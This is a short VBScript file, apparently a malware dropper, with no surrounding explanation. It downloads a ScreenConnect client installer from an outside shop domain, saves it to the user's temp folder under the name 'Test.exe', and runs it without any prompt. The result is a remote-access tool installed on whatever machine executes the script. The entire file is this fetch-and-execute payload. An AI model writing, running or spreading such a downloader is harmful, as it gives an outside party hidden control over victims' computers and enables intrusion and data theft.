WScript.Sleep  1000

path = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%TEMP%")
path = path & "\"
URL = "https://centrus.shop/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest"
filename = "Test.exe" 
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", URL, False
xHttp.Send

with bStrm
    .type = 1 '//binary
    .open
    .write xHttp.responseBody
    .savetofile path &  filename, 2 '//overwrite
end with

file = path & filename
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run  chr(34) & file & chr(34)